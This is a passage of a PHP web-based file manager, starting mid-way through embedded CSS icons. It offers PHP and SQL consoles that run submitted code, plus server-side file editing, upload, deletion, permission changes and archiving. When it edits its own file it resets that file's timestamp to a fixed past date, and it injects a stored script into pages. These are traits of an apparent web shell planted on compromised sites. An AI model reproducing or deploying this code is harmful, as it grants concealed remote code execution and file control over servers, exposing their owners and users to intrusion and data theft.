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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

